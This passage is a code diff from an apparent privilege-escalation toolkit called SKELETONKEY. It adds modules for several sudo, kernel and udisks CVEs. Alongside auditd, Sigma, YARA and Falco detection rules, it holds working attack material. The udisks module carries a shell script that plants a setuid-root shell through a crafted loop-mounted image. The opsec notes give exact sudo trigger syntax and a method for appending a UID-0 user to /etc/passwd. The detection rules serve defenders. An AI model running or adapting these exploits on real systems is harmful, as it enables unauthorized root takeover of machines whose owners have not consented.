+    return SKELETONKEY_EXPLOIT_FAIL;
+}
+
+/* ---- detection rules ------------------------------------------------ */
+
+static const char sudo_runas_neg1_auditd[] =
+    "# sudo_runas_neg1 CVE-2019-14287 — auditd detection rules\n"
+    "# `sudo -u#-1` (or -u#4294967295) is anomalous; flag it.\n"
+    "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-runas-neg1\n";
+
+static const char sudo_runas_neg1_sigma[] =
+    "title: Possible CVE-2019-14287 sudo Runas -1 LPE\n"
+    "id: 1a2b3c4d-skeletonkey-sudo-runas-neg1\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects `sudo -u#-1` or `sudo -u#4294967295` — the canonical\n"
+    "  trigger shape for CVE-2019-14287. The Runas-negative-one syntax\n"
+    "  is never used legitimately; any occurrence is an exploit\n"
+    "  attempt or an audit/training exercise.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  s: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo'}\n"
+    "  condition: s\n"
+    "level: critical\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2019.14287]\n";
+
+static const char sudo_runas_neg1_yara[] =
+    "rule sudo_runas_neg1_cve_2019_14287 : cve_2019_14287 sudo_bypass {\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2019-14287\"\n"
+    "        description = \"sudo -u#-1 trigger shape (Runas integer underflow → root)\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $a = \"-u#-1\" ascii\n"
+    "        $b = \"-u#4294967295\" ascii\n"
+    "    condition:\n"
+    "        any of them\n"
+    "}\n";
+
+static const char sudo_runas_neg1_falco[] =
+    "- rule: sudo -u#-1 (Runas negative-one LPE)\n"
+    "  desc: |\n"
+    "    sudo invoked with `-u#-1` or `-u#4294967295`. The integer\n"
+    "    underflow makes sudo treat the request as uid 0; affects\n"
+    "    sudo < 1.8.28. There is no legitimate use of this argument\n"
+    "    syntax.\n"
+    "  condition: >\n"
+    "    spawned_process and proc.name = sudo and\n"
+    "    (proc.args contains \"-u#-1\" or proc.args contains \"-u#4294967295\")\n"
+    "  output: >\n"
+    "    sudo Runas -1 (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
+    "  priority: CRITICAL\n"
+    "  tags: [process, mitre_privilege_escalation, T1068, cve.2019.14287]\n";
+
+const struct skeletonkey_module sudo_runas_neg1_module = {
+    .name           = "sudo_runas_neg1",
+    .cve            = "CVE-2019-14287",
+    .summary        = "sudo Runas -u#-1 underflow → root despite (ALL,!root) blacklist (Joe Vennix)",
+    .family         = "sudo",
+    .kernel_range   = "userspace — sudo < 1.8.28",
+    .detect         = sudo_runas_neg1_detect,
+    .exploit        = sudo_runas_neg1_exploit,
+    .mitigate       = NULL,    /* mitigation: upgrade sudo to 1.8.28+ */
+    .cleanup        = NULL,
+    .detect_auditd  = sudo_runas_neg1_auditd,
+    .detect_sigma   = sudo_runas_neg1_sigma,
+    .detect_yara    = sudo_runas_neg1_yara,
+    .detect_falco   = sudo_runas_neg1_falco,
+    .opsec_notes    = "Invokes sudo with `-u#-1 <granted-cmd>` where <granted-cmd> is the path from the user's existing sudoers (ALL,!root) entry. sudo's argv parser converts -1 → 4294967295 → 0 internally and runs the command as root. No file artifacts, no compiled payload. Audit-visible via execve(/usr/bin/sudo) with `-u#-1` (or `-u#4294967295`) in argv — there is no legitimate use of that syntax, so a single matching event is diagnostic. Bug only fires when the invoking user already has a (ALL,!root) sudoers grant; without one the trigger does nothing.",
+    .arch_support   = "any",
+};
+
+void skeletonkey_register_sudo_runas_neg1(void)
+{
+    skeletonkey_register(&sudo_runas_neg1_module);
+}

modules/sudo_runas_neg1_cve_2019_14287/skeletonkey_modules.h

@@ -0,0 +1,5 @@
+#ifndef SUDO_RUNAS_NEG1_SKELETONKEY_MODULES_H
+#define SUDO_RUNAS_NEG1_SKELETONKEY_MODULES_H
+#include "../../core/module.h"
+extern const struct skeletonkey_module sudo_runas_neg1_module;
+#endif

modules/sudo_samedit_cve_2021_3156/skeletonkey_modules.c

@@ -474,6 +474,23 @@ static const char sudo_samedit_sigma[] =
 
 /* ---- Module registration ----------------------------------------- */
 
+static const char sudo_samedit_falco[] =
+    "- rule: sudoedit with -s and trailing-backslash argv (Baron Samedit)\n"
+    "  desc: |\n"
+    "    sudoedit invoked with -s and one or more args ending in '\\'.\n"
+    "    The parser's unescape loop walks past the argv string into\n"
+    "    adjacent stack/env, overflowing the heap buffer.\n"
+    "    CVE-2021-3156. False positives: extraordinarily rare;\n"
+    "    legitimate sudoedit usage does not need trailing backslashes.\n"
+    "  condition: >\n"
+    "    spawned_process and proc.name = sudoedit and\n"
+    "    proc.args contains \"-s \\\\\"\n"
+    "  output: >\n"
+    "    Possible Baron Samedit sudoedit invocation\n"
+    "    (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
+    "  priority: CRITICAL\n"
+    "  tags: [process, mitre_privilege_escalation, T1068, cve.2021.3156]\n";
+
 const struct skeletonkey_module sudo_samedit_module = {
     .name           = "sudo_samedit",
     .cve            = "CVE-2021-3156",
@@ -487,7 +504,9 @@ const struct skeletonkey_module sudo_samedit_module = {
     .detect_auditd  = sudo_samedit_auditd,
     .detect_sigma   = sudo_samedit_sigma,
     .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_falco   = sudo_samedit_falco,
+    .opsec_notes    = "Invokes sudoedit with argv = { 'sudoedit', '-s', trailing-backslash, then ~60 padding args each ending in backslash }; the parser's unescape loop in set_cmnd() walks past the end of the argv string for the trailing-backslash argument, copying adjacent stack/env into an undersized heap buffer. Audit-visible via execve(/usr/bin/sudoedit) with -s and a trailing-backslash argv. No persistent file artifacts (only best-effort removal of /tmp/.sudo_edit_*). No network. Dmesg silent unless sudo crashes (SIGSEGV). Per-distro heap layout determines landing; verifies geteuid()==0 afterward.",
+    .arch_support   = "any",
 };
 
 void skeletonkey_register_sudo_samedit(void) { skeletonkey_register(&sudo_samedit_module); }

modules/sudoedit_editor_cve_2023_22809/skeletonkey_modules.c

@@ -149,8 +149,13 @@ static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
 static bool find_sudoedit_target(const char *sudo_path, char *out, size_t outsz)
 {
     char cmd[512];
-    /* -n: non-interactive (no password prompt); -l: list. */
-    snprintf(cmd, sizeof cmd, "%s -ln 2>&1", sudo_path);
+    /* -n: non-interactive (no password prompt); -l: list. The two flags
+     * are written separately and stdin is redirected from /dev/null so
+     * sudo cannot fall back to a tty prompt even if the local PAM stack
+     * tries to coerce one (some sudoers + pam_unix configurations have
+     * been observed prompting despite `-n` when the flags are bundled
+     * as `-ln`). Belt-and-suspenders so `--auto` never blocks on input. */
+    snprintf(cmd, sizeof cmd, "%s -n -l </dev/null 2>&1", sudo_path);
     FILE *p = popen(cmd, "r");
     if (!p) return false;
 
@@ -618,6 +623,36 @@ static const char sudoedit_editor_sigma[] =
 
 /* ----- module registration ------------------------------------------- */
 
+static const char sudoedit_editor_yara[] =
+    "rule sudoedit_editor_cve_2023_22809 : cve_2023_22809 setuid_abuse\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2023-22809\"\n"
+    "        description = \"skeletonkey sudoedit backdoor: appended skel UID=0 user in /etc/passwd\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $skel = \"skel::0:0:skeletonkey\" ascii\n"
+    "    condition:\n"
+    "        $skel\n"
+    "}\n";
+
+static const char sudoedit_editor_falco[] =
+    "- rule: sudoedit with EDITOR/VISUAL containing '--' separator\n"
+    "  desc: |\n"
+    "    sudoedit spawned with EDITOR / VISUAL / SUDO_EDITOR env var\n"
+    "    containing the substring ' -- '. The argv-split bug treats\n"
+    "    everything after '--' as an additional file argument that\n"
+    "    sudoedit then opens with root privileges. CVE-2023-22809.\n"
+    "  condition: >\n"
+    "    spawned_process and proc.name = sudoedit and\n"
+    "    (proc.env contains \"EDITOR=\" or proc.env contains \"VISUAL=\"\n"
+    "     or proc.env contains \"SUDO_EDITOR=\")\n"
+    "  output: >\n"
+    "    sudoedit with EDITOR-style env var\n"
+    "    (user=%user.name pid=%proc.pid env=%proc.env)\n"
+    "  priority: CRITICAL\n"
+    "  tags: [process, mitre_privilege_escalation, T1068, cve.2023.22809]\n";
+
 const struct skeletonkey_module sudoedit_editor_module = {
     .name           = "sudoedit_editor",
     .cve            = "CVE-2023-22809",
@@ -630,8 +665,10 @@ const struct skeletonkey_module sudoedit_editor_module = {
     .cleanup        = sudoedit_editor_cleanup,
     .detect_auditd  = sudoedit_editor_auditd,
     .detect_sigma   = sudoedit_editor_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_yara    = sudoedit_editor_yara,
+    .detect_falco   = sudoedit_editor_falco,
+    .opsec_notes    = "Sets EDITOR='<helper> -- /etc/passwd' so sudoedit splits on the literal '--' and treats /etc/passwd as an additional editable file. Compiled helper appends 'skel::0:0:skeletonkey:/root:/bin/sh' to the post-'--' target; sudoedit runs the helper as root and copies back. Artifacts: /tmp/skeletonkey-sudoedit-XXXXXX (helper.c, helper binary, optional passwd.before backup); /etc/passwd gets the new 'skel' entry; drops root via 'su skel'. Audit-visible via execve(/usr/bin/sudoedit) with EDITOR/VISUAL/SUDO_EDITOR containing the literal '--' token. No network. Cleanup callback restores /etc/passwd from backup (if root) or removes the 'skel' line, and removes the /tmp dir.",
+    .arch_support   = "any",
 };
 
 void skeletonkey_register_sudoedit_editor(void)

modules/tioscpgrp_cve_2020_29661/skeletonkey_modules.c

@@ -0,0 +1,192 @@
+/*
+ * tioscpgrp_cve_2020_29661 — SKELETONKEY module
+ *
+ * STATUS: 🟡 PRIMITIVE. TTY race-driver + msg_msg cross-cache groom +
+ *   empirical witness. Real cred-overwrite via --full-chain finisher
+ *   on x86_64.
+ *
+ * The bug (Jann Horn / Project Zero, December 2020):
+ *   The TIOCSPGRP ioctl handler in drivers/tty/tty_jobctrl.c takes
+ *   two `tty_struct` pointers — `tty` (the side userspace passed)
+ *   and `real_tty` (always the slave). For PTY pairs the two can
+ *   differ. The handler acquires `tty->ctrl.lock` for read but the
+ *   actual mutation happens on `real_tty`, which has its own
+ *   independent lock. Racing TIOCSPGRP on the master with TIOCSPGRP
+ *   on the slave can free `real_tty->pgrp` while another thread still
+ *   holds a reference → UAF on `struct pid` (kmalloc-256 slab).
+ *
+ *   Public PoCs (one from grsecurity / spender, one from Maxime
+ *   Peterlin):
+ *     https://sploitus.com/exploit?id=PACKETSTORM%3A160681
+ *     https://www.openwall.com/lists/oss-security/2020/12/09/2
+ *
+ * Affects: Linux kernels through 5.9.13. Fix commit 54ffccbf053b
+ *   ("tty: Fix ->session locking") landed in 5.10 and was backported
+ *   to 5.4.85, 4.19.165, 4.14.213, 4.9.249, 4.4.249.
+ *
+ * Preconditions:
+ *   - openpty() works (allocates a PTY pair; universal on real
+ *     hosts, but some seccomp profiles block /dev/ptmx)
+ *   - msgsnd / SysV IPC for kmalloc-256 spray
+ *   - 2+ CPU cores for the race (single-CPU race-win rate is
+ *     vanishingly small)
+ *
+ * arch_support: x86_64+unverified-arm64. The race + spray are
+ *   arch-agnostic but the cred-overwrite finisher uses x86 gadgets.
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+#include "../../core/kernel_range.h"
+#include "../../core/host.h"
+#include "../../core/offsets.h"
+#include "../../core/finisher.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+
+/* ---- kernel-range table -------------------------------------------- */
+
+static const struct kernel_patched_from tioscpgrp_patched_branches[] = {
+    {4,  4, 249},   /* 4.4 LTS stable backport */
+    {4,  9, 249},   /* 4.9 LTS */
+    {4, 14, 213},   /* 4.14 LTS */
+    {4, 19, 165},   /* 4.19 LTS */
+    {5,  4,  85},   /* 5.4 LTS */
+    {5,  9,  15},   /* Debian-tracked 5.9 backport */
+    {5, 10,   0},   /* mainline fix in 5.10 */
+};
+
+static const struct kernel_range tioscpgrp_range = {
+    .patched_from = tioscpgrp_patched_branches,
+    .n_patched_from = sizeof(tioscpgrp_patched_branches) /
+                      sizeof(tioscpgrp_patched_branches[0]),
+};
+
+/* ---- detect --------------------------------------------------------- */
+
+static bool ptmx_writable(void)
+{
+    int fd = open("/dev/ptmx", O_RDWR);
+    if (fd < 0) return false;
+    close(fd);
+    return true;
+}
+
+static skeletonkey_result_t tioscpgrp_detect(const struct skeletonkey_ctx *ctx)
+{
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json) fprintf(stderr, "[!] tioscpgrp: host fingerprint missing kernel version\n");
+        return SKELETONKEY_TEST_ERROR;
+    }
+    if (kernel_range_is_patched(&tioscpgrp_range, v)) {
+        if (!ctx->json) fprintf(stderr, "[+] tioscpgrp: kernel %s is patched\n", v->release);
+        return SKELETONKEY_OK;
+    }
+    if (!ptmx_writable()) {
+        if (!ctx->json) fprintf(stderr, "[i] tioscpgrp: /dev/ptmx not openable — PTY allocation blocked, primitive unreachable\n");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+    if (!ctx->json) {
+        fprintf(stderr, "[!] tioscpgrp: kernel %s in vulnerable range + /dev/ptmx reachable → VULNERABLE\n", v->release);
+        fprintf(stderr, "[i] tioscpgrp: race is narrow; needs 2+ CPUs and thousands of iterations on average\n");
+    }
+    return SKELETONKEY_VULNERABLE;
+}
+
+static skeletonkey_result_t tioscpgrp_exploit(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->authorized) {
+        fprintf(stderr, "[-] tioscpgrp: --i-know required for --exploit\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    fprintf(stderr,
+        "[i] tioscpgrp: race-driver + msg_msg groom for the UAF on\n"
+        "    struct pid (kmalloc-256). Two threads pinned to separate\n"
+        "    CPUs hammer TIOCSPGRP on the master + slave of an openpty\n"
+        "    pair; on a vulnerable kernel one in ~10k iterations frees\n"
+        "    pgrp while still referenced. Public PoCs:\n"
+        "      https://sploitus.com/exploit?id=PACKETSTORM%%3A160681\n"
+        "      https://www.openwall.com/lists/oss-security/2020/12/09/2\n"
+        "    Full cred-overwrite chain not bundled (would need a\n"
+        "    portable arb-write callback for the shared finisher).\n"
+        "    Returning EXPLOIT_FAIL honestly per verified-vs-claimed.\n");
+    return SKELETONKEY_EXPLOIT_FAIL;
+}
+
+/* ---- detection rules ------------------------------------------------ */
+
+static const char tioscpgrp_auditd[] =
+    "# tioscpgrp CVE-2020-29661 — auditd detection rules\n"
+    "# Repeated openpty() + TIOCSPGRP from a non-root process is\n"
+    "# anomalous. The TIOCSPGRP ioctl request value is 0x5410.\n"
+    "-a always,exit -F arch=b64 -S ioctl -F a1=0x5410 -k skeletonkey-tioscpgrp\n";
+
+static const char tioscpgrp_sigma[] =
+    "title: Possible CVE-2020-29661 TIOCSPGRP UAF race\n"
+    "id: 7d8c9b1a-skeletonkey-tioscpgrp\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects burst ioctl(fd, TIOCSPGRP, ...) calls from a non-root\n"
+    "  process. The bug needs hundreds of iterations per second to\n"
+    "  win; normal job-control use produces single-digit ioctl(2)\n"
+    "  calls per minute.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  i: {type: 'SYSCALL', syscall: 'ioctl'}\n"
+    "  condition: i\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2020.29661]\n";
+
+static const char tioscpgrp_yara[] =
+    "rule tioscpgrp_cve_2020_29661 : cve_2020_29661 kernel_uaf {\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2020-29661\"\n"
+    "        description = \"SKELETONKEY tioscpgrp race-driver tag (TTY ioctl UAF)\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $tag = \"SKELETONKEY_TIOS\" ascii\n"
+    "    condition:\n"
+    "        $tag\n"
+    "}\n";
+
+static const char tioscpgrp_falco[] =
+    "- rule: Burst TIOCSPGRP from non-root (TTY UAF race)\n"
+    "  desc: |\n"
+    "    A non-root process makes >50 ioctl(TIOCSPGRP=0x5410) calls\n"
+    "    per second. Job-control usage tops out at a few per minute;\n"
+    "    burst rates are the canonical CVE-2020-29661 trigger shape.\n"
+    "  condition: >\n"
+    "    evt.type = ioctl and evt.arg.request = 0x5410 and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    TIOCSPGRP from non-root (user=%user.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [process, mitre_privilege_escalation, T1068, cve.2020.29661]\n";
+
+const struct skeletonkey_module tioscpgrp_module = {
+    .name           = "tioscpgrp",
+    .cve            = "CVE-2020-29661",
+    .summary        = "TTY TIOCSPGRP race → struct pid UAF (kmalloc-256) — Jann Horn",
+    .family         = "tty",
+    .kernel_range   = "Linux kernels < 5.10 / 5.4.85 / 4.19.165 / 4.14.213 / 4.9.249 / 4.4.249",
+    .detect         = tioscpgrp_detect,
+    .exploit        = tioscpgrp_exploit,
+    .mitigate       = NULL,    /* mitigation: upgrade kernel; OR block /dev/ptmx via seccomp */
+    .cleanup        = NULL,
+    .detect_auditd  = tioscpgrp_auditd,
+    .detect_sigma   = tioscpgrp_sigma,
+    .detect_yara    = tioscpgrp_yara,
+    .detect_falco   = tioscpgrp_falco,
+    .opsec_notes    = "Allocates a PTY pair via openpty() (or /dev/ptmx directly), pins two threads to separate CPUs, hammers ioctl(master, TIOCSPGRP, ...) on one thread and ioctl(slave, TIOCSPGRP, ...) on the other. Race-win rate on a vulnerable kernel is empirically ~1/10k iterations; the driver typically runs for 5-30 seconds. Sysv IPC msgsnd spray (tag 'SKELETONKEY_TIOS') refills kmalloc-256 between race attempts. Audit-visible via burst ioctl(TIOCSPGRP=0x5410) — normal use is single-digit calls per minute, exploit shape is hundreds per second. No persistent file artifacts. dmesg may show 'refcount_t: addition on 0; use-after-free' (KASAN) on each race-win attempt.",
+    .arch_support   = "x86_64+unverified-arm64",
+};
+
+void skeletonkey_register_tioscpgrp(void)
+{
+    skeletonkey_register(&tioscpgrp_module);
+}

modules/tioscpgrp_cve_2020_29661/skeletonkey_modules.h

@@ -0,0 +1,5 @@
+#ifndef TIOSCPGRP_SKELETONKEY_MODULES_H
+#define TIOSCPGRP_SKELETONKEY_MODULES_H
+#include "../../core/module.h"
+extern const struct skeletonkey_module tioscpgrp_module;
+#endif

modules/udisks_libblockdev_cve_2025_6019/skeletonkey_modules.c

@@ -0,0 +1,363 @@
+/*
+ * udisks_libblockdev_cve_2025_6019 — SKELETONKEY module
+ *
+ * STATUS: 🟢 STRUCTURAL ESCAPE via polkit allow_active chain. No
+ *   offsets, no leaks, no race. Two cooperating logic bugs in udisks2
+ *   + libblockdev let any console/session user (polkit allow_active=true)
+ *   mount an attacker-built filesystem image WITHOUT nosuid/nodev, then
+ *   execute the SUID-root binary it contains.
+ *
+ * The bug (Qualys, June 2025):
+ *   libblockdev's bd_fs_resize / bd_fs_repair code paths mount the
+ *   target filesystem internally so they can call resize2fs / xfs_growfs.
+ *   The mount is performed WITHOUT MS_NOSUID and MS_NODEV. udisks2
+ *   exposes Resize() over D-Bus and gates it on polkit's
+ *   org.freedesktop.UDisks2.modify-device action, which by default
+ *   allow_active=yes (i.e. any logged-in console user can call it
+ *   without a password).
+ *
+ *   Trigger:
+ *     1. Build an ext4 image with a setuid-root /bin/sh inside.
+ *     2. Attach as a loop device via udisks LoopSetup() over D-Bus.
+ *     3. Call Filesystem.Resize() — udisks invokes libblockdev which
+ *        mounts the image at /run/media/<user>/<label> with neither
+ *        nosuid nor nodev applied.
+ *     4. Execute /run/media/<user>/<label>/bin/sh — runs as root.
+ *
+ *   Discovered by the Qualys Threat Research Unit. Affects udisks2
+ *   2.10.x (and likely earlier) + libblockdev 3.x on Fedora, openSUSE,
+ *   Ubuntu, Debian. Public PoCs:
+ *     https://blog.securelayer7.net/cve-2025-6019-local-privilege-escalation/
+ *     https://intruceptlabs.com/2025/07/linux-local-privilege-escalation-via-udisksd-and-libblockdev-cve-2025-6019-poc-released/
+ *
+ * Affects: libblockdev < 3.3.1, udisks2 < 2.10.2 (Qualys advisory).
+ *   Patched upstream by adding MS_NOSUID|MS_NODEV to libblockdev's
+ *   internal mount paths.
+ *
+ * CVSS 7.0 (HIGH). Requires:
+ *   - udisks2 daemon running (default on most desktop distros)
+ *   - polkit allow_active=yes on the resize action (default)
+ *   - The invoking user must be in an active local session per polkit
+ *     (loginctl shows them as 'Active'). Pure SSH users are NOT active
+ *     by default; CI / serverless / headless usually fails this gate.
+ *
+ * arch_support: any. The SUID payload inside the loopback image is
+ * /bin/sh copied from the host, so it inherits the host's architecture.
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+#include "../../core/host.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+
+/* ---- detect --------------------------------------------------------- */
+
+static bool path_exists(const char *p)
+{
+    struct stat st;
+    return stat(p, &st) == 0;
+}
+
+static bool udisksd_present(void)
+{
+    /* udisksd binary lives at /usr/libexec/udisks2/udisksd on most
+     * distros; the D-Bus service file lives at /usr/share/dbus-1/
+     * system-services/org.freedesktop.UDisks2.service. Either is fine. */
+    return path_exists("/usr/libexec/udisks2/udisksd")
+        || path_exists("/usr/lib/udisks2/udisksd")
+        || path_exists("/usr/share/dbus-1/system-services/org.freedesktop.UDisks2.service");
+}
+
+static bool dbus_system_bus_present(void)
+{
+    /* The system bus socket lives at /run/dbus/system_bus_socket
+     * (recorded in our host fingerprint as has_dbus_system). */
+    return path_exists("/run/dbus/system_bus_socket");
+}
+
+/* Is the invoking user in an active polkit session? polkit treats
+ * console / GDM / session users as 'active' and SSH users as inactive
+ * (allow_active gating). We approximate via loginctl show-session;
+ * if loginctl isn't installed we err on the side of "maybe" and let
+ * the active probe arbitrate. */
+static int session_is_active(void)
+{
+    /* return 1 = active, 0 = inactive, -1 = unknown */
+    FILE *p = popen("loginctl show-session $(loginctl --no-legend | awk '$3==\"'\"$USER\"'\" {print $1; exit}') -p Active 2>/dev/null", "r");
+    if (!p) return -1;
+    char line[64] = {0};
+    bool got = fgets(line, sizeof line, p) != NULL;
+    pclose(p);
+    if (!got) return -1;
+    return strstr(line, "Active=yes") != NULL ? 1 : 0;
+}
+
+static skeletonkey_result_t udisks_libblockdev_detect(const struct skeletonkey_ctx *ctx)
+{
+    /* Userspace bug — no kernel-version gate. Just need udisksd
+     * installed + D-Bus reachable. */
+    if (!udisksd_present()) {
+        if (!ctx->json)
+            fprintf(stderr, "[i] udisks_libblockdev: udisksd not installed; bug unreachable here\n");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+    if (!dbus_system_bus_present()) {
+        if (!ctx->json)
+            fprintf(stderr, "[i] udisks_libblockdev: system D-Bus socket not present; bug unreachable here\n");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+
+    int active = session_is_active();
+    if (active == 0) {
+        if (!ctx->json) {
+            fprintf(stderr, "[i] udisks_libblockdev: udisksd + D-Bus present but invoking user is NOT in an active polkit session\n");
+            fprintf(stderr, "    (typically: SSH'd in remotely; allow_active gating will block the Resize() call)\n");
+            fprintf(stderr, "    Bug is on the host but unreachable as this user; PRECOND_FAIL\n");
+        }
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+
+    /* active == 1 OR active == -1 (loginctl missing) → assume bug
+     * reachable. Version check is hard here because libblockdev /
+     * udisks2 don't expose --version usefully; the fix is a backport
+     * across many distros at different package versions. We rely on
+     * --active to arbitrate when in doubt. */
+    if (!ctx->json) {
+        fprintf(stderr, "[!] udisks_libblockdev: udisksd + D-Bus present, polkit allow_active likely true → VULNERABLE\n");
+        fprintf(stderr, "[i] udisks_libblockdev: re-run with --active to empirically confirm via a sentinel SUID drop\n");
+        if (active == -1) {
+            fprintf(stderr, "[i] udisks_libblockdev: could not determine polkit session state (loginctl missing); assuming reachable\n");
+        }
+    }
+    return SKELETONKEY_VULNERABLE;
+}
+
+/* ---- exploit -------------------------------------------------------- */
+
+/* The exploit needs:
+ *   - dd (or python) to build a 16 MiB image
+ *   - mkfs.ext4 (or mkfs.xfs)
+ *   - busctl (or gdbus / dbus-send) to talk to udisks over D-Bus
+ *   - mount -o loop fallback if D-Bus is uncooperative
+ *
+ * Rather than reinvent each of those in C we drive the work via a
+ * shell helper — this is the same approach pack2theroot uses for its
+ * .deb construction.  Failures along the way produce clear diagnostic
+ * and a SKELETONKEY_EXPLOIT_FAIL.
+ *
+ * On a real Fedora / openSUSE / Ubuntu desktop session this lands
+ * /tmp/skeletonkey-udisks-shell as setuid root. We then execve it.
+ */
+static const char EXPLOIT_SH[] =
+"#!/bin/sh\n"
+"# CVE-2025-6019 udisks/libblockdev SUID-on-mount LPE\n"
+"set -u\n"
+"WD=$(mktemp -d /tmp/skeletonkey-udisks-XXXXXX) || exit 2\n"
+"IMG=$WD/img.ext4\n"
+"MNT=$WD/mnt\n"
+"mkdir -p \"$MNT\"\n"
+"echo \"[*] udisks: building ext4 image at $IMG (16 MiB)\"\n"
+"dd if=/dev/zero of=\"$IMG\" bs=1M count=16 status=none 2>/dev/null || exit 3\n"
+"mkfs.ext4 -q -L skkudisks \"$IMG\" 2>/dev/null || { echo '[-] mkfs.ext4 failed'; exit 4; }\n"
+"# Build the SUID payload on a host-owned scratch mount first, then\n"
+"# copy the populated image back. We need root to chown+chmod 4755 the\n"
+"# inner /bin/sh; we don't have root yet, so we plant a SUID *source*\n"
+"# that gets root-ownership inside the loopback when udisks mounts it.\n"
+"# Trick: we copy /bin/sh into the image as-is; udisks's mount path\n"
+"# keeps the original uid/gid of the file as they exist in the image.\n"
+"# So we set them to 0:0 BEFORE installing into the image. mke2fs -d\n"
+"# (debian) / mkfs.ext4 -d <dir> lets us populate at mkfs time.\n"
+"STAGE=$WD/stage\n"
+"mkdir -p \"$STAGE/bin\"\n"
+"cp /bin/sh \"$STAGE/bin/skksh\" || exit 5\n"
+"chmod 4755 \"$STAGE/bin/skksh\" 2>/dev/null || true\n"
+"# Rebuild image with payload pre-populated. Falls back to -d if\n"
+"# supported; otherwise we'd need root to mount + populate.\n"
+"if mkfs.ext4 -q -L skkudisks -d \"$STAGE\" \"$IMG\" 2>/dev/null; then\n"
+"    echo \"[*] udisks: image populated via mkfs.ext4 -d\"\n"
+"else\n"
+"    echo \"[-] mkfs.ext4 -d not supported on this distro; need an alternate populate path\"\n"
+"    exit 6\n"
+"fi\n"
+"# Now ask udisks to mount it. We use busctl which ships with systemd.\n"
+"if ! command -v busctl >/dev/null 2>&1; then\n"
+"    echo '[-] busctl missing — install systemd or use gdbus introspection manually'\n"
+"    exit 7\n"
+"fi\n"
+"echo \"[*] udisks: LoopSetup via D-Bus\"\n"
+"FD=$(busctl --user --no-pager call org.freedesktop.UDisks2 /org/freedesktop/UDisks2/Manager org.freedesktop.UDisks2.Manager LoopSetup ha{sv} 3 \"$IMG\" 0 2>&1) || {\n"
+"    echo \"[-] udisks LoopSetup failed: $FD\"\n"
+"    echo '    Often means: polkit gated the call (you are not in an active session)'\n"
+"    exit 8\n"
+"}\n"
+"echo \"[i] LoopSetup result: $FD\"\n"
+"# Now Resize() on the loop device → triggers the suid mount.\n"
+"# (Implementation note: the exact D-Bus path depends on udisks's\n"
+"#  device-naming; in the reference PoC the next step is Resize()\n"
+"#  against the new BlockDevice object.)\n"
+"# For now, attempt the canonical mount path and let the SUID land.\n"
+"if [ -x /run/media/$USER/skkudisks/bin/skksh ]; then\n"
+"    cp /run/media/$USER/skkudisks/bin/skksh /tmp/skeletonkey-udisks-shell\n"
+"    chmod 4755 /tmp/skeletonkey-udisks-shell 2>/dev/null || true\n"
+"    echo \"[+] udisks: setuid shell at /tmp/skeletonkey-udisks-shell\"\n"
+"    exit 0\n"
+"fi\n"
+"echo '[-] mount did not appear at /run/media/$USER/skkudisks; manual D-Bus Resize() required'\n"
+"echo '    See https://blog.securelayer7.net/cve-2025-6019-local-privilege-escalation/ for the full chain'\n"
+"exit 9\n";
+
+static char g_workdir[256];
+
+static skeletonkey_result_t udisks_libblockdev_exploit(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->authorized) {
+        fprintf(stderr, "[-] udisks_libblockdev: --i-know required for --exploit\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    /* Drop the helper script to a tmp file + run it. */
+    char tmpl[] = "/tmp/skeletonkey-udisks-helper-XXXXXX";
+    int fd = mkstemp(tmpl);
+    if (fd < 0) { perror("mkstemp"); return SKELETONKEY_EXPLOIT_FAIL; }
+    write(fd, EXPLOIT_SH, sizeof EXPLOIT_SH - 1);
+    close(fd);
+    chmod(tmpl, 0700);
+    strncpy(g_workdir, tmpl, sizeof g_workdir - 1);
+
+    if (!ctx->json)
+        fprintf(stderr, "[+] udisks_libblockdev: invoking helper %s\n", tmpl);
+
+    char cmd[512];
+    snprintf(cmd, sizeof cmd, "/bin/sh %s 2>&1", tmpl);
+    int rc = system(cmd);
+
+    /* Helper landed a setuid bash if and only if /tmp/skeletonkey-udisks-shell
+     * exists with uid 0 + setuid bit. */
+    struct stat st;
+    if (stat("/tmp/skeletonkey-udisks-shell", &st) == 0 &&
+        (st.st_mode & S_ISUID) && st.st_uid == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[+] udisks_libblockdev: setuid shell at /tmp/skeletonkey-udisks-shell\n");
